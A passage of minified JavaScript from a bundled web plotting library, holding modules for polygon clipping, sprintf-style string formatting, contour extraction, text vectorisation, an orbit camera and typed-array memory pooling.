h[h.length-1]}function l(c,b,h,i){var v=i-b,T=-b/v;T<0?T=0:T>1&&(T=1);for(var w=1-T,E=c.length,p=new Array(E),A=0;A<E;++A)p[A]=T*c[A]+w*h[A];return p}function u(c,b){for(var h=[],i=[],v=a(c[c.length-1],b),T=c[c.length-1],w=c[0],E=0;E<c.length;++E,T=w){w=c[E];var p=a(w,b);if(v<0&&p>0||v>0&&p<0){var A=l(T,p,w,v);h.push(A),i.push(A.slice())}p<0?i.push(w.slice()):p>0?h.push(w.slice()):(h.push(w.slice()),i.push(w.slice())),v=p}return{positive:h,negative:i}}function s(c,b){for(var h=[],i=a(c[c.length-1],b),v=c[c.length-1],T=c[0],w=0;w<c.length;++w,v=T){T=c[w];var E=a(T,b);(i<0&&E>0||i>0&&E<0)&&h.push(l(v,E,T,i)),E>=0&&h.push(T.slice()),i=E}return h}function y(c,b){for(var h=[],i=a(c[c.length-1],b),v=c[c.length-1],T=c[0],w=0;w<c.length;++w,v=T){T=c[w];var E=a(T,b);(i<0&&E>0||i>0&&E<0)&&h.push(l(v,E,T,i)),E<=0&&h.push(T.slice()),i=E}return h}},8974:function(d,g,t){var r;(function(){var f={not_string:/[^s]/,not_bool:/[^t]/,not_type:/[^T]/,not_primitive:/[^v]/,number:/[diefg]/,numeric_arg:/[bcdiefguxX]/,json:/[j]/,not_json:/[^j]/,text:/^[^\x25]+/,modulo:/^\x25{2}/,placeholder:/^\x25(?:([1-9]\d*)\$|\(([^)]+)\))?(\+)?(0|'[^$])?(-)?(\d+)?(?:\.(\d+))?([b-gijostTuvxX])/,key:/^([a-z_][a-z_\d]*)/i,key_access:/^\.([a-z_][a-z_\d]*)/i,index_access:/^\[(\d+)\]/,sign:/^[+-]/};function a(c){return u(y(c),arguments)}function l(c,b){return a.apply(null,[c].concat(b||[]))}function u(c,b){var h=1,i=c.length,v,T="",w,E,p,A,m,n,C,x;for(w=0;w<i;w++)if(typeof c[w]=="string")T+=c[w];else if(typeof c[w]=="object"){if(p=c[w],p.keys)for(v=b[h],E=0;E<p.keys.length;E++){if(v==null)throw new Error(a('[sprintf] Cannot access property "%s" of undefined value "%s"',p.keys[E],p.keys[E-1]));v=v[p.keys[E]]}else p.param_no?v=b[p.param_no]:v=b[h++];if(f.not_type.test(p.type)&&f.not_primitive.test(p.type)&&v instanceof Function&&(v=v()),f.numeric_arg.test(p.type)&&typeof v!="number"&&isNaN(v))throw new TypeError(a("[sprintf] expecting number but found %T",v));switch(f.number.test(p.type)&&(C=v>=0),p.type){case"b":v=parseInt(v,10).toString(2);break;case"c":v=String.fromCharCode(parseInt(v,10));break;case"d":case"i":v=parseInt(v,10);break;case"j":v=JSON.stringify(v,null,p.width?parseInt(p.width):0);break;case"e":v=p.precision?parseFloat(v).toExponential(p.precision):parseFloat(v).toExponential();break;case"f":v=p.precision?parseFloat(v).toFixed(p.precision):parseFloat(v);break;case"g":v=p.precision?String(Number(v.toPrecision(p.precision))):parseFloat(v);break;case"o":v=(parseInt(v,10)>>>0).toString(8);break;case"s":v=String(v),v=p.precision?v.substring(0,p.precision):v;break;case"t":v=String(!!v),v=p.precision?v.substring(0,p.precision):v;break;case"T":v=Object.prototype.toString.call(v).slice(8,-1).toLowerCase(),v=p.precision?v.substring(0,p.precision):v;break;case"u":v=parseInt(v,10)>>>0;break;case"v":v=v.valueOf(),v=p.precision?v.substring(0,p.precision):v;break;case"x":v=(parseInt(v,10)>>>0).toString(16);break;case"X":v=(parseInt(v,10)>>>0).toString(16).toUpperCase();break}f.json.test(p.type)?T+=v:(f.number.test(p.type)&&(!C||p.sign)?(x=C?"+":"-",v=v.toString().replace(f.sign,"")):x="",m=p.pad_char?p.pad_char==="0"?"0":p.pad_char.charAt(1):" ",n=p.width-(x+v).length,A=p.width&&n>0?m.repeat(n):"",T+=p.align?x+v+A:m==="0"?x+A+v:A+x+v)}return T}var s=Object.create(null);function y(c){if(s[c])return s[c];for(var b=c,h,i=[],v=0;b;){if((h=f.text.exec(b))!==null)i.push(h[0]);else if((h=f.modulo.exec(b))!==null)i.push("%");else if((h=f.placeholder.exec(b))!==null){if(h[2]){v|=1;var T=[],w=h[2],E=[];if((E=f.key.exec(w))!==null)for(T.push(E[1]);(w=w.substring(E[0].length))!=="";)if((E=f.key_access.exec(w))!==null)T.push(E[1]);else if((E=f.index_access.exec(w))!==null)T.push(E[1]);else throw new SyntaxError("[sprintf] failed to parse named argument key");else throw new SyntaxError("[sprintf] failed to parse named argument key");h[2]=T}else v|=2;if(v===3)throw new Error("[sprintf] mixing positional and named placeholders is not (yet) supported");i.push({placeholder:h[0],param_no:h[1],keys:h[2],sign:h[3],pad_char:h[4],align:h[5],width:h[6],precision:h[7],type:h[8]})}else throw new SyntaxError("[sprintf] unexpected placeholder");b=b.substring(h[0].length)}return s[c]=i}g.sprintf=a,g.vsprintf=l,typeof window<"u"&&(window.sprintf=a,window.vsprintf=l,r=(function(){return{sprintf:a,vsprintf:l}}).call(g,t,g,d),r!==void 0&&(d.exports=r))})()},4162:function(d,g,t){d.exports=y;var r=t(9284),f=t(9584),a={"2d":function(c,b,h){var i=c({order:b,scalarArguments:3,getters:h==="generic"?[0]:void 0,phase:function(T,w,E,p){return T>p|0},vertex:function(T,w,E,p,A,m,n,C,x,I,k,B,_){var F=(n<<0)+(C<<1)+(x<<2)+(I<<3)|0;if(!(F===0||F===15))switch(F){case 0:k.push([T-.5,w-.5]);break;case 1:k.push([T-.25-.25*(p+E-2*_)/(E-p),w-.25-.25*(A+E-2*_)/(E-A)]);break;case 2:k.push([T-.75-.25*(-p-E+2*_)/(p-E),w-.25-.25*(m+p-2*_)/(p-m)]);break;case 3:k.push([T-.5,w-.5-.5*(A+E+m+p-4*_)/(E-A+p-m)]);break;case 4:k.push([T-.25-.25*(m+A-2*_)/(A-m),w-.75-.25*(-A-E+2*_)/(A-E)]);break;case 5:k.push([T-.5-.5*(p+E+m+A-4*_)/(E-p+A-m),w-.5]);break;case 6:k.push([T-.5-.25*(-p-E+m+A)/(p-E+A-m),w-.5-.25*(-A-E+m+p)/(A-E+p-m)]);break;case 7:k.push([T-.75-.25*(m+A-2*_)/(A-m),w-.75-.25*(m+p-2*_)/(p-m)]);break;case 8:k.push([T-.75-.25*(-m-A+2*_)/(m-A),w-.75-.25*(-m-p+2*_)/(m-p)]);break;case 9:k.push([T-.5-.25*(p+E+-m-A)/(E-p+m-A),w-.5-.25*(A+E+-m-p)/(E-A+m-p)]);break;case 10:k.push([T-.5-.5*(-p-E+-m-A+4*_)/(p-E+m-A),w-.5]);break;case 11:k.push([T-.25-.25*(-m-A+2*_)/(m-A),w-.75-.25*(A+E-2*_)/(E-A)]);break;case 12:k.push([T-.5,w-.5-.5*(-A-E+-m-p+4*_)/(A-E+m-p)]);break;case 13:k.push([T-.75-.25*(p+E-2*_)/(E-p),w-.25-.25*(-m-p+2*_)/(m-p)]);break;case 14:k.push([T-.25-.25*(-p-E+2*_)/(p-E),w-.25-.25*(-A-E+2*_)/(A-E)]);break;case 15:k.push([T-.5,w-.5]);break}},cell:function(T,w,E,p,A,m,n,C,x){A?C.push([T,w]):C.push([w,T])}});return function(v,T){var w=[],E=[];return i(v,w,E,T),{positions:w,cells:E}}}};function l(c,b){var h=c.length+"d",i=a[h];if(i)return i(r,c,b)}function u(c,b){for(var h=f(c,b),i=h.length,v=new Array(i),T=new Array(i),w=0;w<i;++w)v[w]=[h[w]],T[w]=[w];return{positions:v,cells:T}}var s={};function y(c,v){if(c.dimension<=0)return{positions:[],cells:[]};if(c.dimension===1)return u(c,v);var h=c.order.join()+"-"+c.dtype,i=s[h],v=+v||0;return i||(i=s[h]=l(c.order,c.dtype)),i(c,v)}},6946:function(d,g,t){d.exports=u;var r=t(875),f=window||M.global||{},a=f.__TEXT_CACHE||{};f.__TEXT_CACHE={};function l(s){for(var y=s.cells,c=s.positions,b=new Float32Array(y.length*6),h=0,i=0,v=0;v<y.length;++v)for(var T=y[v],w=0;w<3;++w){var E=c[T[w]];b[h++]=E[0],b[h++]=E[1]+1.4,i=Math.max(E[0],i)}return{data:b,shape:i}}function u(s,y,b){var b=b||{},h=a[s];h||(h=a[s]={" ":{data:new Float32Array(0),shape:.2}});var i=h[y];if(!i)if(y.length<=1||!/\d/.test(y))i=h[y]=l(r(y,{triangles:!0,font:s,textAlign:b.textAlign||"left",textBaseline:"alphabetic",styletags:{breaklines:!0,bolds:!0,italics:!0,subscripts:!0,superscripts:!0}}));else{for(var v=y.split(/(\d|\s)/),T=new Array(v.length),w=0,E=0,p=0;p<v.length;++p)T[p]=u(s,v[p]),w+=T[p].data.length,E+=T[p].shape,p>0&&(E+=.02);for(var A=new Float32Array(w),m=0,n=-.5*E,p=0;p<T.length;++p){for(var C=T[p].data,x=0;x<C.length;x+=2)A[m++]=C[x]+n,A[m++]=C[x+1];n+=T[p].shape+.02}i=h[y]={data:A,shape:E}}return i}},14:function(d,g,t){var r=t(4405);d.exports=u;var f=96;function a(s,y){var c=r(getComputedStyle(s).getPropertyValue(y));return c[0]*u(c[1],s)}function l(s,y){var c=document.createElement("div");c.style["font-size"]="128"+s,y.appendChild(c);var b=a(c,"font-size")/128;return y.removeChild(c),b}function u(s,y){switch(y=y||document.body,s=(s||"px").trim().toLowerCase(),(y===window||y===document)&&(y=document.body),s){case"%":return y.clientHeight/100;case"ch":case"ex":return l(s,y);case"em":return a(y,"font-size");case"rem":return a(document.body,"font-size");case"vw":return window.innerWidth/100;case"vh":return window.innerHeight/100;case"vmin":return Math.min(window.innerWidth,window.innerHeight)/100;case"vmax":return Math.max(window.innerWidth,window.innerHeight)/100;case"in":return f;case"cm":return f/2.54;case"mm":return f/25.4;case"pt":return f/72;case"pc":return f/6}return 1}},3440:function(d,g,t){d.exports=T;var r=t(8444),f=t(7437),a=t(4422),l=t(903),u=t(899),s=t(9305);function y(w,E,p){return Math.sqrt(Math.pow(w,2)+Math.pow(E,2)+Math.pow(p,2))}function c(w){return Math.min(1,Math.max(-1,w))}function b(w){var E=Math.abs(w[0]),p=Math.abs(w[1]),A=Math.abs(w[2]),m=[0,0,0];E>Math.max(p,A)?m[2]=1:p>Math.max(E,A)?m[0]=1:m[1]=1;for(var n=0,C=0,x=0;x<3;++x)n+=w[x]*w[x],C+=m[x]*w[x];for(var x=0;x<3;++x)m[x]-=C/n*w[x];return u(m,m),m}function h(w,E,p,A,m,n,C,x){this.center=r(p),this.up=r(A),this.right=r(m),this.radius=r([n]),this.angle=r([C,x]),this.angle.bounds=[[-1/0,-Math.PI/2],[1/0,Math.PI/2]],this.setDistanceLimits(w,E),this.computedCenter=this.center.curve(0),this.computedUp=this.up.curve(0),this.computedRight=this.right.curve(0),this.computedRadius=this.radius.curve(0),this.computedAngle=this.angle.curve(0),this.computedToward=[0,0,0],this.computedEye=[0,0,0],this.computedMatrix=new Array(16);for(var I=0;I<16;++I)this.computedMatrix[I]=.5;this.recalcMatrix(0)}var i=h.prototype;i.setDistanceLimits=function(w,E){w>0?w=Math.log(w):w=-1/0,E>0?E=Math.log(E):E=1/0,E=Math.max(E,w),this.radius.bounds[0][0]=w,this.radius.bounds[1][0]=E},i.getDistanceLimits=function(w){var E=this.radius.bounds[0];return w?(w[0]=Math.exp(E[0][0]),w[1]=Math.exp(E[1][0]),w):[Math.exp(E[0][0]),Math.exp(E[1][0])]},i.recalcMatrix=function(w){this.center.curve(w),this.up.curve(w),this.right.curve(w),this.radius.curve(w),this.angle.curve(w);for(var E=this.computedUp,p=this.computedRight,A=0,m=0,n=0;n<3;++n)m+=E[n]*p[n],A+=E[n]*E[n];for(var C=Math.sqrt(A),x=0,n=0;n<3;++n)p[n]-=E[n]*m/A,x+=p[n]*p[n],E[n]/=C;for(var I=Math.sqrt(x),n=0;n<3;++n)p[n]/=I;var k=this.computedToward;l(k,E,p),u(k,k);for(var B=Math.exp(this.computedRadius[0]),_=this.computedAngle[0],F=this.computedAngle[1],O=Math.cos(_),z=Math.sin(_),N=Math.cos(F),G=Math.sin(F),J=this.computedCenter,q=O*N,ne=z*N,fe=G,X=-O*G,W=-z*G,V=N,Y=this.computedEye,Q=this.computedMatrix,n=0;n<3;++n){var ie=q*p[n]+ne*k[n]+fe*E[n];Q[4*n+1]=X*p[n]+W*k[n]+V*E[n],Q[4*n+2]=ie,Q[4*n+3]=0}var j=Q[1],K=Q[5],oe=Q[9],re=Q[2],le=Q[6],pe=Q[10],we=K*pe-oe*le,xe=oe*re-j*pe,ke=j*le-K*re,_e=y(we,xe,ke);we/=_e,xe/=_e,ke/=_e,Q[0]=we,Q[4]=xe,Q[8]=ke;for(var n=0;n<3;++n)Y[n]=J[n]+Q[2+4*n]*B;for(var n=0;n<3;++n){for(var x=0,be=0;be<3;++be)x+=Q[n+4*be]*Y[be];Q[12+n]=-x}Q[15]=1},i.getMatrix=function(w,E){this.recalcMatrix(w);var p=this.computedMatrix;if(E){for(var A=0;A<16;++A)E[A]=p[A];return E}return p};var v=[0,0,0];i.rotate=function(w,E,p,A){if(this.angle.move(w,E,p),A){this.recalcMatrix(w);var m=this.computedMatrix;v[0]=m[2],v[1]=m[6],v[2]=m[10];for(var n=this.computedUp,C=this.computedRight,x=this.computedToward,I=0;I<3;++I)m[4*I]=n[I],m[4*I+1]=C[I],m[4*I+2]=x[I];a(m,m,A,v);for(var I=0;I<3;++I)n[I]=m[4*I],C[I]=m[4*I+1];this.up.set(w,n[0],n[1],n[2]),this.right.set(w,C[0],C[1],C[2])}},i.pan=function(w,E,p,A){E=E||0,p=p||0,A=A||0,this.recalcMatrix(w);var m=this.computedMatrix;Math.exp(this.computedRadius[0]);var n=m[1],C=m[5],x=m[9],I=y(n,C,x);n/=I,C/=I,x/=I;var k=m[0],B=m[4],_=m[8],F=k*n+B*C+_*x;k-=n*F,B-=C*F,_-=x*F;var O=y(k,B,_);k/=O,B/=O,_/=O;var z=k*E+n*p,N=B*E+C*p,G=_*E+x*p;this.center.move(w,z,N,G);var J=Math.exp(this.computedRadius[0]);J=Math.max(1e-4,J+A),this.radius.set(w,Math.log(J))},i.translate=function(w,E,p,A){this.center.move(w,E||0,p||0,A||0)},i.setMatrix=function(w,E,p,A){var m=1;typeof p=="number"&&(m=p|0),(m<0||m>3)&&(m=1);var n=(m+2)%3;E||(this.recalcMatrix(w),E=this.computedMatrix);var C=E[m],x=E[m+4],I=E[m+8];if(A){var B=Math.abs(C),_=Math.abs(x),F=Math.abs(I),O=Math.max(B,_,F);B===O?(C=C<0?-1:1,x=I=0):F===O?(I=I<0?-1:1,C=x=0):(x=x<0?-1:1,C=I=0)}else{var k=y(C,x,I);C/=k,x/=k,I/=k}var z=E[n],N=E[n+4],G=E[n+8],J=z*C+N*x+G*I;z-=C*J,N-=x*J,G-=I*J;var q=y(z,N,G);z/=q,N/=q,G/=q;var ne=x*G-I*N,fe=I*z-C*G,X=C*N-x*z,W=y(ne,fe,X);ne/=W,fe/=W,X/=W,this.center.jump(w,Oe,Ce,Be),this.radius.idle(w),this.up.jump(w,C,x,I),this.right.jump(w,z,N,G);var V,Y;if(m===2){var Q=E[1],ie=E[5],j=E[9],K=Q*z+ie*N+j*G,oe=Q*ne+ie*fe+j*X;we<0?V=-Math.PI/2:V=Math.PI/2,Y=Math.atan2(oe,K)}else{var re=E[2],le=E[6],pe=E[10],we=re*C+le*x+pe*I,xe=re*z+le*N+pe*G,ke=re*ne+le*fe+pe*X;V=Math.asin(c(we)),Y=Math.atan2(ke,xe)}this.angle.jump(w,Y,V),this.recalcMatrix(w);var _e=E[2],be=E[6],ge=E[10],Te=this.computedMatrix;f(Te,E);var Fe=Te[15],Oe=Te[12]/Fe,Ce=Te[13]/Fe,Be=Te[14]/Fe,$e=Math.exp(this.computedRadius[0]);this.center.jump(w,Oe-_e*$e,Ce-be*$e,Be-ge*$e)},i.lastT=function(){return Math.max(this.center.lastT(),this.up.lastT(),this.right.lastT(),this.radius.lastT(),this.angle.lastT())},i.idle=function(w){this.center.idle(w),this.up.idle(w),this.right.idle(w),this.radius.idle(w),this.angle.idle(w)},i.flush=function(w){this.center.flush(w),this.up.flush(w),this.right.flush(w),this.radius.flush(w),this.angle.flush(w)},i.setDistance=function(w,E){E>0&&this.radius.set(w,Math.log(E))},i.lookAt=function(w,E,p,A){this.recalcMatrix(w),E=E||this.computedEye,p=p||this.computedCenter,A=A||this.computedUp;var m=A[0],n=A[1],C=A[2],x=y(m,n,C);if(!(x<1e-6)){m/=x,n/=x,C/=x;var I=E[0]-p[0],k=E[1]-p[1],B=E[2]-p[2],_=y(I,k,B);if(!(_<1e-6)){I/=_,k/=_,B/=_;var F=this.computedRight,O=F[0],z=F[1],N=F[2],G=m*O+n*z+C*N;O-=G*m,z-=G*n,N-=G*C;var J=y(O,z,N);if(!(J<.01&&(O=n*B-C*k,z=C*I-m*B,N=m*k-n*I,J=y(O,z,N),J<1e-6))){O/=J,z/=J,N/=J,this.up.set(w,m,n,C),this.right.set(w,O,z,N),this.center.set(w,p[0],p[1],p[2]),this.radius.set(w,Math.log(_));var q=n*N-C*z,ne=C*O-m*N,fe=m*z-n*O,X=y(q,ne,fe);q/=X,ne/=X,fe/=X;var W=m*I+n*k+C*B,V=O*I+z*k+N*B,Y=q*I+ne*k+fe*B,Q=Math.asin(c(W)),ie=Math.atan2(Y,V),j=this.angle._state,K=j[j.length-1],oe=j[j.length-2];K=K%(2*Math.PI);var re=Math.abs(K+2*Math.PI-ie),le=Math.abs(K-ie),pe=Math.abs(K-2*Math.PI-ie);re<le&&(K+=2*Math.PI),pe<le&&(K-=2*Math.PI),this.angle.jump(this.angle.lastT(),K,oe),this.angle.set(w,ie,Q)}}}};function T(w){w=w||{};var E=w.center||[0,0,0],p=w.up||[0,1,0],A=w.right||b(p),m=w.radius||1,n=w.theta||0,C=w.phi||0;if(E=[].slice.call(E,0,3),p=[].slice.call(p,0,3),u(p,p),A=[].slice.call(A,0,3),u(A,A),"eye"in w){var x=w.eye,I=[x[0]-E[0],x[1]-E[1],x[2]-E[2]];l(A,I,p),y(A[0],A[1],A[2])<1e-6?A=b(p):u(A,A),m=y(I[0],I[1],I[2]);var k=s(p,I)/m,B=s(A,I)/m;C=Math.acos(k),n=Math.acos(B)}return m=Math.log(m),new h(w.zoomMin,w.zoomMax,E,p,A,m,n,C)}},9660:function(d){d.exports=t;var g=+(Math.pow(2,27)+1);function t(r,f,a){var l=r*f,u=g*r,s=u-r,y=u-s,c=r-y,b=g*f,h=b-f,i=b-h,v=f-i,T=l-y*i,w=T-c*i,E=w-y*v,p=c*v-E;return a?(a[0]=p,a[1]=l,a):[p,l]}},87:function(d){d.exports=g;function g(t,r,f){var a=t+r,l=a-t,u=a-l,s=r-l,y=t-u;return f?(f[0]=y+s,f[1]=a,f):[y+s,a]}},5306:function(d,g,t){var r=t(2288),f=t(3094),a=t(2146).lW;t.g.__TYPEDARRAY_POOL||(t.g.__TYPEDARRAY_POOL={UINT8:f([32,0]),UINT16:f([32,0]),UINT32:f([32,0]),BIGUINT64:f([32,0]),INT8:f([32,0]),INT16:f([32,0]),INT32:f([32,0]),BIGINT64:f([32,0]),FLOAT:f([32,0]),DOUBLE:f([32,0]),DATA:f([32,0]),UINT8C:f([32,0]),BUFFER:f([32,0])});var l=typeof Uint8ClampedArray<"u",u=typeof BigUint64Array<"u",s=typeof BigInt64Array<"u",y=t.g.__TYPEDARRAY_POOL;y.UINT8C||(y.UINT8C=f([32,0])),y.BIGUINT64||(y.BIGUINT64=f([32,0])),y.BIGINT64||(y.BIGINT64=f([32,0])),y.BUFFER||(y.BUFFER=f([32,0]));var c=y.DATA,b=y.BUFFER;g.free=function(O){if(a.isBuffer(O))b[r.log2(O.length)].push(O);else{if(Object.prototype.toString.call(O)!=="[object ArrayBuffer]"&&(O=O.buffer),!O)return;var z=O.length||O.byteLength,N=r.log2(z)|0;c[N].push(O)}};function h(F){if(F){var O=F.length||F.byteLength,z=r.log2(O);c[z].push(F)}}function i(F){h(F.buffer)}g.freeUint8=g.freeUint16=g.freeUint32=g.freeBigUint64=g.freeInt8=g.freeInt16=g.freeInt32=g.freeBigInt64=g.freeFloat32=g.freeFloat=g.freeFloat64=g.freeDouble=g.freeUint8Clamped=g.freeDataView=i,g.freeArrayBuffer=h,g.freeBuffer=function(O){b[r.log2(O.length)].push(O)},g.malloc=function(O,z){if(z===void 0||z==="arraybuffer")return v(O);switch(z){case"uint8":return T(O);case"uint16":return w(O);case"uint32":return E(O);case"int8":return p(O);case"int16":return A(O);case"int32":return m(O);case"float":case"float32":return n(O);case"double":case"float64":return C(O);case"uint8_clamped":return x(O);case"bigint64":return k(O);case"biguint64":return I(O);case"buffer":return _(O);case"data":case"dataview":return B(O);default:return null}return null};function v(O){var O=r.nextPow2(O),z=r.log2(O),N=c[z];return N.length>0?N.pop():new ArrayBuffer(O)}g.mallocArrayBuffer=v;function T(F){return new Uint8Array(v(F),0,F)}g.mallocUint8=T;function w(F){return new Uint16Array(v(2*F),0,F)}g.mallocUint16=w;function E(F){return new Uint32Array(v(4*F),0,F)}g.mallocUint32=E;function p(F){return new Int8Array(v(F),0,F)}g.mallocInt8=p;function A(F){return new Int16Array(v(2*F),0,F)}g.mallocInt16=A;function m(F){return new Int32Array(v(4*F),0,F)}g.mallocInt32=m;function n(F){return new Float32Array(v(4*F),0,F)}g.mallocFloat32=g.mallocFloat=n;function C(F){return new Float64Array(v(8*F),0,F)}g.mallocFloat64=g.mallocDouble=C;function x(F){return l?new Uint8ClampedArray(v(F),0,F):T(F)}g.mallocUint8Clamped=x;function I(F){return u?new BigUint64Array(v(8*F),0,F):null}g.mallocBigUint64=I;function k(F){return s?new BigInt64Array(v(8*F),0,F):null}g.mallocBigInt64=k;function B(F){return new DataView(v(F),0,F)}g.mallocDataView=B;function _(F){F=r.nextPow2(F);var O=r.log2(F),z=b[O];return z.length>0?z.pop():new a(F)}g.mallocBuffer=_,g.clearCache=function(){for(var O=0;O<32;++O)y.UINT8[O].length=0,y.UINT16[O].length=0,y.UINT32[O].length=0,y.INT8[O].length=0,y.INT16[O].length=0,y.INT32[O].length=0,y.FLOAT[O].length=0,y.DOUBLE[O].length=0,y.BIGUINT64[O].length=0,y.BIGINT64[O].length=0,y.UINT8C[O].length=0,c[O].length=0,b[O].length=0}},1731:function(d){"use restrict";d.exports=g;function g(r){this.roots=new Array(r),this.ranks=new Array(r);for(var f=0;f<r;++f)this.roots[f]=f,this.ranks[f]=0}var t=g.prototype;Object.defineProperty(t,"length",{get:function(){return this.roots.length}}),t.makeSet=function(){var r=this.roots.length;return this.roots.push(r),this.ranks.push(0),r},t.find=function(r){for(var f=r,a=this.roots;a[r]!==r;)r=a[r];for(;a[f]!==r;){var l=a[f];a[f]=r,f=l}return r},t.link=function(r,f){var a=this.find(r),l=this.find(f);if(a!==l){var u=this.ranks,s=this.roots,y=u[a],c=u[l];y<c?s[a]=l:c<y?s[l]=a:(s[l]=a,++u[a])}}},1215:function(d){function g(f,a){for(var l=1,u=f.length,s=f[0],y=f[0],c=1;c<u;++c)if(y=s,s=f[c],a(s,y)){if(c===l){l++;continue}f[l++]=s}return f.length=l,f}function t(f){for(var a=1,l=f.length,u=f[0],s=f[0],y=1;y<l;++y,s=u)if(s=u,u=f[y],u!==s){if(y===a){a++;continue}f[a++]=u}return f.length=a,f}function r(f,a,l){return f.length===0?f:a?(l||f.sort(a),g(f,a)):(l||f.sort(),t(f))}d.exports=r},875:function(d,g,t){d.exports=l;var r=t(712),f=null,a=null;typeof document<"u"&&(f=document.createElement("canvas"),f.width=8192,f.height=1024,a=f.getContext("2d"));function l(u,s){return(typeof s!="object"||s===null)&&(s={}),r(u,s.canvas||f,s.context||a,s)}},712:function(d,g,t){d.exports=k,d.exports.processPixels=I;var r=t(4162),f=t(5050),a=t(8243),l=t(197),u=t(7761),s=t(8040),y="b",c="b|",b="i",h="i|",i="sup",v="+",T="+1",w="sub",E="-",p="-1";function A(B,_,F,O){for(var z="<"+B+">",N="</"+B+">",G=z.length,J=N.length,q=_[0]===v||_[0]===E,ne=0,fe=-J;ne>-1&&(ne=F.indexOf(z,ne),!(ne===-1||(fe=F.indexOf(N,ne+G),fe===-1)||fe<=ne));){for(var X=ne;X<fe+J;++X)if(X<ne+G||X>=fe)O[X]=null,F=F.substr(0,X)+" "+F.substr(X+1);else if(O[X]!==null){var W=O[X].indexOf(_[0]);W===-1?O[X]+=_:q&&(O[X]=O[X].substr(0,W+1)+(1+parseInt(O[X][W+1]))+O[X].substr(W+2))}var V=ne+G,Y=F.substr(V,fe-V),Q=Y.indexOf(z);Q!==-1?ne=Q:ne=fe+J}return O}function m(B,_,F){for(var O=_.textAlign||"start",z=_.textBaseline||"alphabetic",N=[1<<30,1<<30],G=[0,0],J=B.length,q=0;q<J;++q)for(var ne=B[q],fe=0;fe<2;++fe)N[fe]=Math.min(N[fe],ne[fe])|0,G[fe]=Math.max(G[fe],ne[fe])|0;var X=0;switch(O){case"center":X=-.5*(N[0]+G[0]);break;case"right":case"end":X=-G[0];break;case"left":case"start":X=-N[0];break;default:throw new Error("vectorize-text: Unrecognized textAlign: '"+O+"'")}var W=0;switch(z){case"hanging":case"top":W=-N[1];break;case"middle":W=-.5*(N[1]+G[1]);break;case"alphabetic":case"ideographic":W=-3*F;break;case"bottom":W=-G[1];break;default:throw new Error("vectorize-text: Unrecoginized textBaseline: '"+z+"'")}var V=1/F;return"lineHeight"in _?V*=+_.lineHeight:"width"in _?V=_.width/(G[0]-N[0]):"height"in _&&(V=_.height/(G[1]-N[1])),B.map(function(Y){return[V*(Y[0]+X),V*(Y[1]+W)]})}function n(B,_,F,O,z,N){F=F.replace(/\n/g,""),N.breaklines===!0?F=F.replace(/\<br\>/g,`
`):F=F.replace(/\<br\>/g," ");var G="",J=[];for(K=0;K<F.length;++K)J[K]=G;N.bolds===!0&&(J=A(y,c,F,J)),N.italics===!0&&(J=A(b,h,F,J)),N.superscripts===!0&&(J=A(i,T,F,J)),N.subscripts===!0&&(J=A(w,p,F,J));var q=[],ne="";for(K=0;K<F.length;++K)J[K]!==null&&(ne+=F[K],q.push(J[K]));var fe=ne.split(`
`),X=fe.length,W=Math.round(z*O),V=O,Y=O*2,Q=0,ie=X*W+Y;B.height<ie&&(B.height=ie),_.fillStyle="#000",_.fillRect(0,0,B.width,B.height),_.fillStyle="#fff";var j,K,oe,re,le,pe=0,we="";function xe(){if(we!==""){var Be=_.measureText(we).width;_.fillText(we,V+oe,Y+re),oe+=Be}}function ke(){return""+Math.round(le)+"px "}function _e(Be,$e){var Xe=""+_.font;if(N.subscripts===!0){var Ze=Be.indexOf(E),Ke=$e.indexOf(E),st=Ze>-1?parseInt(Be[1+Ze]):0,lt=Ke>-1?parseInt($e[1+Ke]):0;st!==lt&&(Xe=Xe.replace(ke(),"?px "),le*=Math.pow(.75,lt-st),Xe=Xe.replace("?px ",ke())),re+=.25*W*(lt-st)}if(N.superscripts===!0){var ut=Be.indexOf(v),yt=$e.indexOf(v),bt=ut>-1?parseInt(Be[1+ut]):0,Ot=yt>-1?parseInt($e[1+yt]):0;bt!==Ot&&(Xe=Xe.replace(ke(),"?px "),le*=Math.pow(.75,Ot-bt),Xe=Xe.replace("?px ",ke())),re-=.25*W*(Ot-bt)}if(N.bolds===!0){var Ge=Be.indexOf(c)>-1,Le=$e.indexOf(c)>-1;!Ge&&Le&&(Pe?Xe=Xe.replace("italic ","italic bold "):Xe="bold "+Xe),Ge&&!Le&&(Xe=Xe.replace("bold ",""))}if(N.italics===!0){var Pe=Be.indexOf(h)>-1,De=$e.indexOf(h)>-1;!Pe&&De&&(Xe="italic "+Xe),Pe&&!De&&(Xe=Xe.replace("italic ",""))}_.font=Xe}for(j=0;j<X;++j){var be=fe[j]+`
`;for(oe=0,re=j*W,le=O,we="",K=0;K<be.length;++K){var ge=K+pe<q.length?q[K+pe]:q[q.length-1];G===ge?we+=be[K]:(xe(),we=be[K],ge!==void 0&&(_e(G,ge),G=ge))}xe(),pe+=be.length;var Te=Math.round(oe+2*V)|0;Q<Te&&(Q=Te)}var Fe=Q,Oe=Y+W*X,Ce=f(_.getImageData(0,0,Fe,Oe).data,[Oe,Fe,4]);return Ce.pick(-1,-1,0).transpose(1,0)}function C(B,_){var F=r(B,128);return _?a(F.cells,F.positions,.25):{edges:F.cells,positions:F.positions}}function x(B,_,F,O){var z=C(B,O),N=m(z.positions,_,F),G=z.edges,J=_.orientation==="ccw";if(l(N,G),_.polygons||_.polygon||_.polyline){for(var q=s(G,N),ne=new Array(q.length),fe=0;fe<q.length;++fe){for(var X=q[fe],W=new Array(X.length),V=0;V<X.length;++V){for(var Y=X[V],Q=new Array(Y.length),ie=0;ie<Y.length;++ie)Q[ie]=N[Y[ie]].slice();J&&Q.reverse(),W[V]=Q}ne[fe]=W}return ne}else return _.triangles||_.triangulate||_.triangle?{cells:u(N,G,{delaunay:!1,exterior:!1,interior:!0}),positions:N}:{edges:G,positions:N}}function I(B,_,F){try{return x(B,_,F,!0)}catch{}try{return x(B,_,F,!1)}catch{}return _.polygons||_.polyline||_.polygon?[]:_.triangles||_.triangulate||_.triangle?{cells:[],positions:[]}:{edges:[],positions:[]}}function k(B,_,F,O){var 